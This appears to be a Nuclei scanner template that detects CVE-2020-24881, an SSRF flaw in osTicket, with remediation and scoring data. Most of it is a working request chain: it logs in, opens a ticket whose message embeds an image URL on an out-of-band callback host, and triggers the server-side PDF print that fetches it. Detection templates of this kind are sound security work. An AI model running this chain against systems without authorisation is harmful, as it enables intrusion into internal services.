id: CVE-2020-24881

info:
  name: OsTicket < 1.14.3 - Server Side Request Forgery
  author: hnd3884
  severity: critical
  description: |
    SSRF vulnerability exists in osTicket before 1.14.3, allowing an attacker to add malicious files to the server or perform port scanning.
  impact: |
    Authenticated attackers can perform SSRF attacks to scan internal ports, access internal services, or retrieve sensitive information from internal systems.
  remediation: |
    Upgrade to osTicket version 1.14.3 or later.
  reference:
    - https://blackbatsec.medium.com/cve-2020-24881-server-side-request-forgery-in-osticket-eea175e147f0
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24881
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-24881
    cwe-id: CWE-918
    epss-score: 0.91343
    epss-percentile: 0.99672
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: osticket
    product: osticket
    shodan-query: title:"osticket"
  tags: cve,cve2020,osticket,ssrf,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrf_token}}&luser={{username}}&lpasswd={{password}}

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        regex:
          - '<meta name="csrf_token" content="(.+?)" \/>'
        internal: true

  - raw:
      - |
        GET /open.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: option_value
        part: body
        group: 1
        regex:
          - 'Select a Help Topic.+?[ \n]+<option value="(\d+)" >'
        internal: true

      - type: regex
        name: csrf_token2
        part: body
        group: 1
        regex:
          - '<meta name="csrf_token" content="(.+?)" \/>'
        internal: true

  - raw:
      - |
        GET /ajax.php/form/help-topic/{{option_value}} HTTP/1.1
        Host: {{Hostname}}
        Referer: http://{{Hostname}}/open.php


      - |
        POST /open.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------266856663522356381601517168829

        -----------------------------266856663522356381601517168829
        Content-Disposition: form-data; name="__CSRFToken__"

        {{csrf_token2}}
        -----------------------------266856663522356381601517168829
        Content-Disposition: form-data; name="a"

        open
        -----------------------------266856663522356381601517168829
        Content-Disposition: form-data; name="topicId"

        {{option_value}}
        -----------------------------266856663522356381601517168829
        Content-Disposition: form-data; name="{{formid}}"

        1
        -----------------------------266856663522356381601517168829
        Content-Disposition: form-data; name="message"

        <img src="https://11111.{{interactsh-url}}">
        -----------------------------266856663522356381601517168829
        Content-Disposition: form-data; name="draft_id"


        -----------------------------266856663522356381601517168829--

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 302"
        internal: true

    extractors:
      - type: regex
        name: formid
        part: body
        group: 1
        regex:
          - '<label for=\\"([^"]+)\\">'
        internal: true

      - type: regex
        name: ticketid
        part: header
        group: 1
        regex:
          - 'Location: tickets\.php\?id=(\d+)'
        internal: true

  - raw:
      - |
        GET /tickets.php?a=print&id={{ticketid}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(content_type, "application/pdf")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022100d9f6af5edecbfb420fb8df9f2ee32f020bec80df4cc5d4dc8ed5da240652054e0220573a699a3f89798c9c47d5934a717d70bb2a115bf7fdf2e29db76e99110fa9fc:922c64590222798bb761d5b6d8e72950